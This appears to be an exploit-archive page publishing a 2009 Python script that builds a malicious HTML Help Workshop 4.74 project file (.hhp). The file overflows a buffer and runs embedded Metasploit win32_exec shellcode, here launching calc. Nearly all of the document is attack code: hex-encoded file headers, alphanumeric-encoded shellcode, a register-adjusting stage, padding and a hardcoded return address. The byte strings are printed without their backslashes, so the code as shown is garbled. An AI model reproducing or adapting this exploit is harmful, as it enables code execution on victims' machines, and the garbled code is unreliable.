[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : HTML Help Workshop 4.74 (hhp) Buffer Overflow Exploit (Universal)
# Published : 2009-12-05
# Author : Dz_attacker
# Previous Title : Audacity 1.2.6 (gro File) Buffer overflow Exploit
# Next Title : Jasc Paint Shop Pro v8 Local Buffer Overflow Exploit (UNIVERSAL)
# Exploit Title: HTML Help Workshop 4.74 (hhp) Buffer Overflow Exploit (Universal)
# Date: 2009-12-05
# Author: Dz_attacker
# Software Link: http://www.microsoft.com/downloads/details.aspx?FamilyID=00535334-c8a6-452f-9aa0-d597d16580cc&displaylang=en
# Version: 4.74
# Tested on: xp sp3,sp2, w2k
# Code:
#!/usr/bin/python
#[x] Note: the exploit its universal and doesn't use any egghunter so the shellcode is immidiatly opened!
header1=(
"x5bx4fx50x54x49x4fx4ex53x5dx0dx0ax43x6fx6dx70x61x74x69x62x69"
"x6cx69x74x79x3dx31x2ex31x20x6fx72x20x6cx61x74x65x72x0dx0ax43"
"x6fx6dx70x69x6cx65x64x20x66x69x6cx65x3dx74x65x73x74x2ex63x68"
"x6dx0dx0ax43x6fx6ex74x65x6ex74x73x20x66x69x6cx65x3dx74x65x73"
"x74x2ex68x68x63x0dx0ax44x65x66x61x75x6cx74x20x74x6fx70x69x63"
"x3d")
header2=(
"x44x69x73x70x6cx61x79x20x63x6fx6dx70x69x6cx65x20x70x72x6fx67"
"x72x65x73x73x3dx4ex6fx0dx0ax49x6ex64x65x78x20x66x69x6cx65x3d")
header3= "x4cx61x6ex67x75x61x67x65x3dx30x78x34x30x39x20"
header4=(
"x20x28x55x6ex69x74x65x64x20x53x74x61x74x65x73x29x0dx0ax0dx0a"
"x0dx0ax5bx46x49x4cx45x53x5dx0dx0ax74x65x73x74x2ex68x74x6dx0d"
"x0ax0dx0ax5bx49x4ex46x4fx54x59x50x45x53x5dx0dx0ax0dx0a")
# win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode = (
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34"
"x42x50x42x30x42x30x4bx48x45x44x4ex43x4bx38x4ex37"
"x45x30x4ax57x41x50x4fx4ex4bx58x4fx44x4ax41x4bx58"
"x4fx35x42x52x41x50x4bx4ex49x34x4bx48x46x43x4bx38"
"x41x50x50x4ex41x33x42x4cx49x39x4ex4ax46x58x42x4c"
"x46x47x47x30x41x4cx4cx4cx4dx30x41x50x44x4cx4bx4e"
"x46x4fx4bx43x46x35x46x32x46x30x45x47x45x4ex4bx38"
"x4fx45x46x52x41x30x4bx4ex48x56x4bx58x4ex30x4bx34"
"x4bx38x4fx35x4ex31x41x30x4bx4ex4bx48x4ex31x4bx48"
"x41x50x4bx4ex49x38x4ex45x46x32x46x50x43x4cx41x43"
"x42x4cx46x56x4bx58x42x54x42x53x45x38x42x4cx4ax47"
"x4ex50x4bx48x42x54x4ex30x4bx58x42x37x4ex41x4dx4a"
"x4bx58x4ax46x4ax30x4bx4ex49x30x4bx58x42x48x42x4b"
"x42x30x42x30x42x30x4bx38x4ax46x4ex53x4fx35x41x33"
"x48x4fx42x56x48x45x49x38x4ax4fx43x48x42x4cx4bx37"
"x42x45x4ax36x50x47x4ax4dx44x4ex43x37x4ax36x4ax49"
"x50x4fx4cx58x50x30x47x55x4fx4fx47x4ex43x36x41x46"
"x4ex56x43x56x42x30x5a")
stage = "x81xEEx5Ax55x55x55"
stage += "x81xEEx4Ax45x45x45"
stage += "x81xEEx0BxE5x65x65"
stage += "x56xC3"
payload = header1
payload += shellcode
payload += "x44"*(1100-len(shellcode))+"x0dx0a"
payload += header2
payload += stage
payload += "A" * (280-len(stage))
payload += "x7Fx13x40x00" #0040137F
payload += "x0dx0a"
payload += header3
payload += "x42"*1100
payload += header4
file = open("exploit.hhp","w")
file.write(payload)
file.close()